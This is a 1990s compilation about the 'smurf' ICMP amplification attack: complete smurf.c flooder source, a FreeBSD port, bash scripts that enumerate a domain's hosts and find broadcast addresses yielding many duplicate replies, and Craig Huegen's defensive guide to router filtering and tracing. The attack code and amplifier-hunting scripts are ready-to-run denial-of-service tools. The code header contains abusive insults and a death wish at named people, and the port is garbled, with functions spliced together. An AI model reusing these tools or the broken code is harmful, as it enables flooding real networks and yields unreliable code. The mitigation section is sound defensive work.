Smurf.c

Smurf.c

Well, I suppose its `safe' to release this, it seems everyone and their dog has
it and apparantly (and to my surprise) it still works.

The `smurf' attack is quite simple.  It has a list of broadcast addresses which
it stores into an array, and sends a spoofed icmp echo request to each of those
addresses in series and starts again.  The result is a devistating attack upon
the spoofed ip with, depending on the amount of broadcast addresses used,
many, many computers responding to the echo request.

Before I continue may I first say that this code was a mistake.  When it was
written I was not aware of the fact that a) the world would get its hands on it
and b) it would have such a destructive effect on the computers being used to
flood.  My ignorance is my mistake.  I extremely regret writing this, but as
you well know, if things aren't `exploited' then they aren't fixed.

Now that that's cleared up, how do you protect your network?  Well,
unfortunatly I am not sure how or even if it is possible to protect yourself
from being hit with it, unless you wanted to deny all incoming icmp traffic at
the router which isn't the best solution as it renders other useful oddities
(such as ping and traceroute) unusable.  To prevent your network from being
used to flood (using up almost all your bandwith therefore creating a denial
of service upon yourself.. technically) is quite easy and not a great loss to
your network.  If you filter all incoming icmp traffic to the broadcast address
at the router none of the machines will respond therefore the attack will not
work.  This can be done with one line in the router, and I believe a rep from
texas.net posted the solution for this (perhaps it could be reposted?).

I believe MCI is currently working on a patch or dectector of some kind for it,
which is available at
        http://www.internetnews.com/isp-news/1997/10/0901-mci.html

Please, patch your networks, if there's nothing to flood with then there's no
flood.

Respectfully,

TFreak

--- 8< smurf4.c >8 ---

/*
 *
 *  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
 *
 *  spoofs icmp packets from a host to various broadcast addresses resulting
 *  in multiple replies to that host from a single packet.
 *
 *  mad head to:
 *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
 *     MissSatan for swallowing, napster for pimping my sister, the guy that
 *     invented vaseline, fyber for trying, knowy, old school #havok, kain
 *     cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
 *     have missed (you know who you are).
 *
 *     hi to pbug, majikal, white_dragon and [email protected] for being the sexy
 *     thing he is (he's -almost- as stubborn as me, still i managed to pick up
 *     half the cheque).
 *
 *     and a special hi to Todd, face it dude, you're fucking awesome.
 *
 *  mad anal to:
 *     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
 *     because they plain suck, Rolex for being a twit, everyone that
 *     trades warez, Caren for being a lesbian hoe, AcidKill for being her
 *     partner, #cha0s, sedriss for having an ego in inverse proportion to
 *     his penis and anyone that can't pee standing up -- you don't know what
 *     your missing out on.
 *
 *     and anyone thats ripped my code (diff smurf.c axcast.c is rather
 *     interesting).
 *
 *     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
 *     Robbins for trying to steal my girlfriend.  Not only did you show me
 *     no respect but you're a manipulating prick who tried to take away the
 *     most important thing in the world to me with no guilt whatsoever, and
 *     for that I wish you nothing but pain.  Die.
 *
 *  disclaimer:
 *     I cannot and will not be held responsible nor legally bound for the
 *     malicious activities of individuals who come into possession of this
 *     program and I refuse to provide help or support of any kind and do NOT
 *     condone use of this program to deny service to anyone or any machine.
 *     This is for educational use only. Please Don't abuse this.
 *
 *  Well, i really, really, hate this code, but yet here I am creating another
 *  disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I,
 *  like most programmers don't like seeing bugs in their code.  I saw a few
 *  things that should have been done better or needed fixing so I fixed
 *  them.  -shrug-, programming for me as always seemed to take the pain away
 *  ...
 *
 *
 */

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);

/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

int main (int argc, char *argv[])
{
   struct sockaddr_in sin;
   struct hostent *he;
   FILE   *bcastfile;
   int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
   char   buf[32], **bcastaddr = malloc(8192);

   banner();
   signal(SIGINT, ctrlc);

   if (argc < 6) usage(argv[0]);

   if ((he = gethostbyname(argv[1])) == NULL) {
      perror("resolving source host");
      exit(-1);
   }
   memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
   sin.sin_family = AF_INET;
   sin.sin_port = htons(0);

   num = atoi(argv[3]);
   delay = atoi(argv[4]);
   pktsize = atoi(argv[5]);

   if ((bcastfile = fopen(argv[2], "r")) == NULL) {
      perror("opening bcast file");
      exit(-1);
   }
   x = 0;
   while (!feof(bcastfile)) {
      fgets(buf, 32, bcastfile);
      if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
      for (i = 0; i < strlen(buf); i++)
          if (buf[i] == '\n') buf[i] = '\0';
      bcastaddr[x] = malloc(32);
      strcpy(bcastaddr[x], buf);
      x++;
   }
   bcastaddr[x] = 0x0;
   fclose(bcastfile);

   if (x == 0) {
      fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
      exit(-1);
   }
   if (pktsize > 1024) {
      fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
      exit(-1);
   }

   if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
      perror("getting socket");
      exit(-1);
   }
   setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));

   printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

   for (i = 0; i < num || !num; i++) {
      if (!(i % 25)) { printf("."); fflush(stdout); }
      smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
      cycle++;
      if (bcastaddr[cycle] == 0x0) cycle = 0;
      usleep(delay);
   }
   puts("\n\n");
   return 0;
}

void banner (void)
{
   puts("\nsmurf.c v4.0 by TFreak\n");
}

void usage (char *prog)
{
   fprintf(stderr, "usage: %s <target> <bcast file> "
                   "<num packets> <packet delay> <packet size>\n\n"
                   "target        = address to hit\n"
                   "bcast file    = file to read broadcast addresses from\n"
                   "num packets   = number of packets to send (0 = flood)\n"
                   "packet delay  = wait between each packet (in ms)\n"
                   "packet size   = size of packet (< 1024)\n\n", prog);
   exit(-1);
}

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
   struct iphdr *ip;
   struct icmphdr *icmp;
   char *packet;

   packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip = (struct iphdr *)packet;
   icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip->ihl = 5;
   ip->version = 4;
   ip->ttl = 255;
   ip->tos = 0;
   ip->frag_off = 0;
   ip->protocol = IPPROTO_ICMP;
   ip->saddr = sin.sin_addr.s_addr;
   ip->daddr = dest;
   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
   icmp->type = 8;
   icmp->code = 0;
   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
          0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

   free(packet);           /* free willy! */
}

void ctrlc (int ignored)
{
   puts("\nDone!\n");
   exit(1);
}

unsigned short in_chksum (u_short *addr, int len)
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *addr++;
      nleft -= 2;
   }

   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   }

   sum = (sum >> 16) + (sum + 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}







--------------------------------------------------------------------------------


Along these same lines, Craig Huegen has written up some documentation that
gives an in depth explination of smurfing and prevention measures at
http://www.quadrunner.com/~c-huegen/smurf.txt

From the web page:
---------------------------------------------------
THE LATEST IN DENIAL OF SERVICE ATTACKS: "SMURFING"
DESCRIPTION AND INFORMATION TO MINIMIZE EFFECTS

Craig A. Huegen
[email protected]

Last Update: Fri Oct 10 12:20 PDT

New additions:
* More minor corrections
* Added MCI's DoSTracker program (announced at N+I 10/9/97)
* Changed "helpers" to "bounce sites" ([email protected])
* Added preliminary information about Bay Networks routers
  ([email protected])
* Added further information about Proteon/OpenROUTE routers
  ([email protected])

Editor's plea: *please* distribute this information freely, and abide by
my redistribution requirements (see the very end) when doing so.  It's
important that these attacks be minimized, and communication is the only
way to help with this.

OVERVIEW:

The information here provides in-depth information regarding "smurf"
attacks, with a focus on Cisco routers and how to reduce the effects of
the attack.  Some information is general and not related to an
organization's particular vendor of choice; however, it is written with a
Cisco router focus.  No confirmation has been made to the effects on other
vendors' equipment; however, others have provided me with information for
various vendors, which is provided in the document.  See the
"Acknowledgements" section below for the sources and contact information.
I am happy to accept information from other colleagues who are willing to
provide information about other vendors' products in relation to this
topic.

This paper is always being updated as I receive more information about
attacks and work with ways to minimize impact.

DESCRIPTION:

The "smurf" attack, named after its exploit program, is the most recent in
the category of network-level attacks against hosts.  A perpetrator sends
a large amount of ICMP echo (ping) traffic at broadcast addresses, all of
it having a spoofed source address of a victim.  If the routing device
delivering traffic to those broadcast addresses performs the IP broadcast
to layer 2 broadcast function noted below, most hosts on that IP network
will take the ICMP echo request and reply to it with an echo reply each,
multiplying the traffic by the number of hosts responding.  On a
multi-access broadcast network, there could potentially be hundreds of
machines to reply to each packet.

Currently, the providers/machines most commonly hit are IRC servers and
their providers.

There are two parties who are hurt by this attack...  the intermediary
(broadcast) devices--let's call them "bounce sites", and the spoofed address
target, or the "victim".  The victim is the target of a large amount of
traffic that the bounce sites generate.

Let's look at the scenario to paint a picture of the dangerous nature of
this attack.  Assume a co-location switched network with 100 hosts, and
that the attacker has a T1.  The attacker sends, say, a 768kb/s stream of
ICMP echo (ping) packets, with a spoofed source address of the victim, to
the broadcast address of the "bounce site".  These ping packets hit the
bounce site's broadcast network of 100 hosts; each of them takes the packet
and responds to it, creating 100 ping replies outbound.  If you multiply
the bandwidth, you'll see that 76.8 Mbps is used outbound from the "bounce
site" after the traffic is multiplied.  This is then sent to the victim (the
spoofed source of the originating packets).

HOW TO KEEP YOUR SITE FROM BEING THE SOURCE
PERPETRATORS USE TO ATTACK VICTIMS:

The perpetrators of these attacks rely on the ability to source spoofed
packets to the "bounce sites" in order to generate the traffic which causes
the denial of service.

In order to stop this, all networks should perform filtering either at the
edge of the network where customers connect (access layer) or at the edge
of the network with connections to the upstream providers.

Paul Ferguson of cisco Systems and Daniel Senie of Daniel Senie consulting
have written an Internet-draft pertaining to this topic.  See:

ftp://ftp.internic.net/internet-drafts/draft-ferguson-ingress-filtering-02.txt

for more information on this subject.  The authors expect to have it
published as an Informational RFC prior to the December IETF meeting.

HOW TO STOP BEING AN INTERMEDIARY:

This attack relies on the router serving a large multi-access broadcast
network to frame an IP broadcast address (such as 10.255.255.255) into a
layer 2 broadcast frame (for Ethernet, FF:FF:FF:FF:FF:FF).  The RFC for
routing states that a router MAY perform this translation for directed
broadcasts.  Because in a few select cases it is desirable, and it hasn't
been proved undesirable (except in the recent DoS attacks), most vendors
have chosen to implement this behavior.  Generally, with IP providers and
the Internet as we know it today, this behavior should not be needed.

(Editor's note: I welcome other examples where this is needed in today's
networking--see below for a single example I know of.)

Ethernet NIC hardware (MAC-layer hardware, specifically) will only listen
to a select number of addresses in normal operation.  The one MAC address
that all devices share in common in normal operation is the media
broadcast, or FF:FF:FF:FF:FF:FF.  In this case, a device will take the
packet and send an interrupt for processing.

Because most host IP stacks pay little attention to the destination
address in the IP header of an ICMP packet, or (if they check the IP
header for ICMP) implement responding to ICMP broadcasts, the packet is
handed to the ICMP layer, where in the case of smurf attacks, an ICMP echo
reply is prepared and shipped out to the spoofed address source of the
packet-- the victim.

To stop your Cisco router from converting these layer 3 broadcasts into
layer 2 broadcasts, use the "no ip directed-broadcast" interface
configuration command.  This should be configured on all routers which
provide routing to large multi-access broadcast networks (generally LANs),
with more than 5-10 devices.  It is unnecessary on point-to-point
interfaces, such as POS, serial T1, HSSI, etc., because point-to-point
interfaces will only generate two replies--one for each end of the link.
No testing has been done on multipoint frame-relay; routers on NBMA
networks typically do not forward broadcasts unless explicitly configured
to do so.  Point-to-point sub-interface models will behave like many
point-to-point links--again, this command will have little effect,
stopping only one of the two replies.

Other vendor information:

* Proteon/OpenROUTE:
  Daniel Senie ([email protected]) reports that Proteon/OpenROUTE Networks
  routers have an option to turn off directed broadcasts in the IP
  Configuration menus.  The command sequence to turn them off is:
  *CONFIG (on newer routers) or TALK 6 (on older routers)
  Config>PROTOCOL IP
  IP Config>DISABLE DIRECTED-BROADCAST
  A restart of the router is then required.
* Bay Networks:
  Jon Green ([email protected]) reports that under current code, there
  is no way to keep Bay Networks routers from converting layer 3
  broadcasts to layer 2 broadcasts short of applying a per-interface
  filter, eliminating packets to the broadcast.  However, there is a
  feature request to add a configuration option, and it is expected
  to be in BayRS version 12.0.

There is one case study where this will stop intended behavior: In the
case where samba (an SMB server for UNIX) or NT is used to "remote
broadcast" into a LAN workgroup so that the workstations on that LAN can
see the server, this will prevent the LAN machines from seeing the remote
server.  This is *only* in the case where there is no WINS server (WINS is
routed unicast) and a "remote broadcast" is being used--it's a rare but
notable condition.

INFORMATION FOR VICTIMS AND HOW TO SUPPRESS ATTACKS:

The amount of bandwidth and packets per second (pps) that can be generated
by this attack is quite large.  With a 200-host LAN, I was able to
generate over 80 Mbits/sec traffic at around 35 Kpps toward my target--a
pretty significant amount.  The victims receive this because traffic is
multiplied by the number of hosts on the broadcast network used (in this
case, with a 200-host network, I was only required to send 400 Kbits/sec
to the broadcast address--less than one-third of a T1).

Many hosts cannot process this many packets per second; many hosts are
connected to 10 Mbit/sec Ethernet LANs where more traffic than wire speed
is sent.  Therefore, the ability to drop these packets at the network
border, or even before it flows down the ingress pipes, is desired.

(This next section assumes IOS behavior with standard central switching--
FIB/CEF isn't covered here, the behavior is different, I believe.)

Cisco routers have several "paths" which packets can take to be routed;
each has a varying degree of overhead.  The slowest of these is "process"
switching.  This is used when a complex task is required for processing
packets.  The other modes are variations of a fast path--each of them with
a set of advantages and disadvantages.  However, they're all handled at
interrupt level (no process-level time is required to push these packets).

In IOS versions (even the most recent), access-list denies are handled at
the process (slow) level, because they require an ICMP unreachable to be
generated to the originating host.  All packets were sent to the process
level automatically to be handled this way.

Under a recent code change (Cisco bug ID CSCdj35407--integrated in version
11.1(14)CA and later), packets denied by an access-list will be dropped at
the interrupt (fast) level, with the exception of 2 packets per second per
access-list deny line. These 2 packets per second will be used to send the
"ICMP unreachable via administrative block" messages.  This assumes that
you don't want to log the access-list violations (via the "log" or
"log-input"  keywords).  The ability to rate-limit "log-input" access-list
lines (in order to more easily log these packets) is currently being
integrated;  see the section below on tracing spoofed packet attacks for
information on logging.

Filtering ICMP echo reply packets destined for your high-profile machines
at the ingress interfaces of the network border routers will then permit
the packets to be dropped at the earliest possible point.  However, it
does not mean that the network access pipes won't fill, as the packets
will still come down the pipe to be dropped at the router.  It will,
however, take the load off the system being attacked.  Keep in mind that
this also denies others from being able to ping from that machine (the
replies will never reach the machine).

For those customers of providers who use Cisco, this may give you some
leverage with the providers' security teams to help save your pipes by
filtering before the traffic is sent to you.

Efforts are underway to integrate these fixes in the other major versions
and branches as well.

TRACING SPOOFED PACKET STREAMS:

Tracking these attacks can prove to be difficult, but is possible with
coordination and cooperation from providers.  This section also assumes
Cisco routers, because I can speak only about the abilities of Cisco to
log/filter packets and what impact it may have.

Today, logging packets which pass through or get dropped in an ACL is
possible; however, all packets with the "log" or "log-input" ACL options
are sent to process level for logging.  For a large stream of packets,
this could cause excessive CPU problems.  For this reason, tracking
attacks via IOS logging today is limited to either lower bandwidth attacks
(smaller than 10k packets per second).  Even then, the number of log
messages generated by the router could overload a syslog server.

Cisco bug ID CSCdj35856 addresses this problem.  It has been integrated
into IOS version 11.1CA releases beginning with 11.1(14.1)CA (a
maintenance interim release), and makes it possible to log packets at
defined intervals and to process logged packets not at that interval in
the fast path.  I will update this page with version numbers as the
releases are integrated.

Some information on logging:

In later 11.1 versions, a new keyword was introduced for ACL logging:
"log-input".  A formatted ACL line utilizing the keyword looks like this:

access-list 101 permit icmp any any echo log-input

When applied to an interface, this line will log all ICMP ping packets
with input interface and MAC address (for multi-access networks).
Point-to-point interfaces will not have a MAC address listed.

Here's an example of the log entry for a multi-access network (FDDI, Ether):

Sep 10 23:17:01 PDT: %SEC-6-IPACCESSLOGDP: list 101 permitted icmp
10.0.7.30 (FastEthernet1/0 0060.3e2f.6e41) -> 10.30.248.3 (8/0), 5 packets

Here's an example of the log entry for a point-to-point network:

Sep 10 23:29:00 PDT: %SEC-6-IPACCESSLOGDP: list 101 permitted icmp
10.0.7.30 (BRI0 *PPP*) -> 10.0.19.242 (8/0), 1 packet

Substituting "log" for "log-input" will eliminate the incoming interface
and MAC address from the log messages.

We'll use the first log entry to demonstrate how to go from here.  This
log entry means the packet came in on FastEthernet1/0, from MAC address
0060.3e2f.6e41, destined for 10.30.248.3.  From here, you can use "show ip
arp" (if needed) to determine the IP address for the MAC address, and go
to the next hop for tracing or contact the necessary peer (in the case of
an exchange point).  This is a hop-by-hop tracing method.

Example of "show ip arp" used to find next hop:

netlab#show ip arp 0060.3e2f.6e41
Protocol  Address          Age (min)  Hardware Addr   Type   Interface
Internet  10.0.183.65            32   0060.3e2f.6e41  ARPA   FastEthernet1/0

As you can see, 10.0.183.65 is the next hop where the packets came from
and we should go there to continue the tracing process, utilizing the same
ACL method.  By doing this, you can track the spoof attack backwards.

While this is general information on tracking spoofed packets, it must be
noted that the victims of a smurf attack get packets from the listed source
in the packets; i.e., they receive echo-reply packets truly from the source
listed in the IP header.  This information should be used by the bounce sites
or intermediaries to track the spoofed echo _request_ packets back to
their source (the perpetrator).

MCI's Internet Security team has put together a perl script which, in an
automated fashion, can log into your Cisco routers and trace a spoof attack
back to its source.  The program is available, free of charge.  See
http://www.security.mci.net/dostracker/ for more information.

OTHER DENIAL OF SERVICE ATTACKS WORTHY OF MENTION:

Two other denial of service attacks frequently encountered are TCP SYN
floods, and UDP floods aimed at diagnostic ports on hosts.

TCP SYN attacks consist of a large number of spoofed TCP connection set-up
messages aimed at a particular service on a host.  Older TCP
implementations cannot handle many faked connection set-up packets, and
will not allow access to the victim service.

The most common form of UDP flooding directed at harming networks is an
attack consisting of a large number of spoofed UDP packets aimed at
diagnostic ports on network devices.  This attack is also known as the
"pepsi" attack (again named after the exploit program), and can cause
network devices to use up a large amount of CPU time responding to these
packets.

To get more information on minimizing the effects of these two attacks,
see:

Defining Strategies to Protect Against TCP SYN
  Denial of Service Attacks
  http://cio.cisco.com/warp/public/707/4.html

Defining Strategies to Protect Against UDP Diagnostic
  Port DoS Attacks
  http://cio.cisco.com/warp/public/707/3.html

PERFORMANCE INFORMATION:

One ISP has reported that, spread across three routers (2 RSP2 and 1
RSP4), the fast drop code eliminated a sustained 120 Mbits/sec smurf
attack and kept the network running without performance problems.

As always, your mileage may vary.

ACKNOWLEDGEMENTS:

Thanks to all those who helped review and provide input to the paper, as
well as sanity checking.

Specific thanks to:

* Ravi Chandra of Cisco Systems for information on the bugfixes.
* Daniel Senie of Daniel Senie Consulting, Jon Green of Bay Networks for
  information on other vendors' equipment.
* Paul Ferguson of Cisco Systems, Kelly Cooper of GTE/BBN, Rob McMillan of
  CERT for sanity-check and review comments.

Referenced documents:

This section is coming soon. =)

PERMISSION TO DUPLICATE:

Permission to duplicate this information is granted under these terms:

1.  My name and e-mail address remains on the information as a target for
    questions and identification of the source
2.  My disclaimer appears on the information at the bottom
3.  Feel free to add extra information from other discussions, etc., but
    please ensure the correct attribution is made to the author.  Also
    provide Craig Huegen ([email protected]) a copy of your additions.
4.  Please help disseminate this information to other network
    administrators who are affected by these attacks.

If you have questions, I will be happy to answer them to the best of my
knowledge.

MY DISCLAIMER:

I'm speaking about this as an interested party only.  All text in this
paper was written by me; I speak/write for no one but myself.  No vendors
have officially confirmed/denied any of the information contained herein.
All research for this paper is being done purely as a matter of
self-interest and desire to help others minimize effects of this attack.

Craig A. Huegen
[email protected]
http://www.quadrunner.com/~chuegen/smurf.txt




----------------------------------------------------------------------------


T. Freak's posted his smurf code, and there's been a few messages
concerning this d.o.s. attack -- I guess now is a good of a time as any to
release this little script.

I'm sure there's a more efficient way of putting something like this
together, but... oh well.  Results of the scan are reported into
./bips.results

note: this script has two parts.

--- bips.sh ---

#!/bin/bash
# find broadcast ip's that reply with 30+ dupes.

# i decided to make this script into two sections. when running this make
# sure both parts are in the same directory.

if [ $# != 1 ]; then
echo "$0 <domain - ie: college.edu>"
else
host -l $1 | grep 'has address' | cut -d' ' -f4 > $1.ips
cat $1.ips | cut -d'.' -f1-3 | sort |\
awk '{ print echo ""$1".255" }' > $1.tmp
cat $1.tmp | uniq | awk '{ print "./chekdup.sh "$1"" }' > $1.ping
rm -f $1.ips $1.tmp
chmod 700 $1.ping
./$1.ping
rm $1.ping
fi

--- chekdup.sh ---

#!/bin/bash
# this checks possible broadcast ip's for a given amount of icmp echo
# replies.

ping -c 2 $1 > $1.out
if
cat $1.out | grep dupl > /dev/null
then
export DUPES="`cat $1.out | grep dupl | cut -d'+' -f2 | cut -d' ' -f1`"
else
export DUPES=1
fi
if [ $DUPES -gt 30 ]; then
echo "$1 had $DUPES dupes" >> bips.results
rm -f $1.out
else
rm -f $1.out
fi


------------------------------------------------------------------------------

        Here is Tfreaks code ported to FreeBSD and whatever other
operating systems use BSD style sockets.

---- smurf.c ----

/*
 * $Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $
 *
 * spoofs icmp packets from a host to various broadcast addresses resulting in
 * multiple replies to that host from a single packet.
 *
 * orginial linux code by tfreak, most pror code.  I saw a few
 * things that should have been done better or needed fixing so I fixed them.
 * -shrug-, programming for me as always seemed to take the pain away ...
 *
 *
 */

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

void            banner(void);
void            usage(char *);
void            smurf(int, struct sockaddr_in, u_long, int);
void            ctrlc(int);
unsigned int    host2ip(char *hostname);
unsigned short  in_chksum(u_short *, int);

unsigned int
host2ip(char *hostname)
{
        static struct in_addr i;
        struct hostent *h;
        i.s_addr = inet_addr(hostname);
        if (i.s_addr == -1) {
                h = gethostbyname(hostname);
                if (h == NULL) {
                        fprintf(stderr, "can't find %s\n.", hostname);
                        exit(0);
                }
                bcopy(h->h_addr, (char *) &i.s_addr, h->h_length);
        }
        return i.s_addr;
}

/* stamp */
char            id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $";

int
main(int argc, char *argv[])
{
        struct sockaddr_in sin;
        FILE           *bcastfile;
        int             i, sock, bcast, delay, num, pktsize, cycle = 0,
                        x;
        char            buf[32], **bcastaddr = malloc(8192);

        banner();
        signal(SIGINT, ctrlc);

        if (argc < 6)
                usage(argv[0]);

        sin.sin_addr.s_addr = host2ip(argv[1]);
        sin.sin_family = AF_INET;

        num = atoi(argv[3]);
        delay = atoi(argv[4]);
        pktsize = atoi(argv[5]);

        if ((bcastfile = fopen(argv[2], "r")) == NULL) {
                perror("opening bcast file");
                exit(-1);
        }
        x = 0;
        while (!feof(bcastfile)) {
                fgets(buf, 32, bcastfile);
                if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0]))
                        continue;
                for (i = 0; i < strlen(buf); i++)
                        if (buf[i] == '\n')
                                buf[i] = '\0';
                bcastaddr[x] = malloc(32);
                strcpy(bcastaddr[x], buf);
                x++;
        }
        bcastaddr[x] = 0x0;
        fclose(bcastfile);

        if (x == 0) {
                fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
                exit(-1);
        }
        if (pktsize > 1024) {
                fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
                exit(-1);
        }
        if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("getting socket");
                exit(-1);
        }
        setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) &bcast, sizeof(bcast));

        printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

        for (i = 0; i < num || !num; i++) {
                if (!(i % 25)) {
                        printf(".");
                        fflush(stdout);
                }
                smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
                cycle++;
                if (bcastaddr[cycle] == 0x0)
                        cycle = 0;
                usleep(delay);
        }
        puts("\n\n");
        return 0;
}

void
banner(void)
{
        puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n");
}

void
usage(char *prog)
{
        fprintf(stderr, "usage: %s <target> <bcast file> "
                "<num packets> <packet delay> <packet size>\n\n"
                "target        = address to hit\n"
                "bcast file    = file to read broadcast addresses from\n"
                "num packets   = number of packets to send (0 = flood)\n"
                "packet delay  = wait between each packet (in ms)\n"
                "packet size   = size of packet (< 1024)\n\n", prog);
     ;
        int             hincl = 1;

        packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize);
        ip = (struct ip *) packet;
        icmp = (struct icmp *) (packet + sizeof(struct ip));

        memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize);
        setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl));
        ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize;
        ip->ip_hl = sizeof *ip >> 2;
        ip->ip_v = 4;
        ip->ip_ttl = 255;
        ip->ip_tos = 0;
        ip->ip_off = 0;
        ip->ip_id = htons(getpid());
        ip->ip_p = 1;
        ip->ip_src.s_addr = sin.sin_addr.s_addr;
        ip->ip_dst.s_addr = dest;
        ip->ip_sum = 0;
        icmp->icmp_type = 8;
        icmp->icmp_code = 0;
        icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

        sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize,
               0, (struct sockaddr *) & sin, sizeof(struct sockaddr));

        free(packet);           /* free willy! */
}

void
ctrlc(int ignored)
{
        puts("\nDone!\n");
        exit(1);
}

unsigned short
in_chksum(u_short * addr, int len)
{
        register int    nleft = len;
        register int    sum = 0;
        u_short         answer = 0;

        while (nleft > 1) {
                sum += *addr++;
                nleft -= 2;
        }

        if (nleft == 1) {
                *(u_char *) (&answer) = *(u_char *) addr;
                sum += answer;
        }
        sum = (sum >> 16) + (sum + 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return (answer);
}

--- end ---

So.Many.Errors.aaaaaaaaaaaaaaaaaaa